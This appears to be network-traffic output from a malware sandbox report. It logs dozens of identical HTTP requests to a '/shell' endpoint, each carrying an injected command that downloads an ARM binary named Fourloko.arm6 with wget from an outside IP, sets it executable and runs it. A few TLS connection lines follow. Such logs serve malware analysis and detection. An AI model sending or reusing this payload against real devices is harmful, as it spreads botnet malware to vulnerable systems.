Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: unknown	HTTPS traffic detected: 162.213.33.132:443 -> 192.168.2.23:35442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36688 version: TLS 1.2
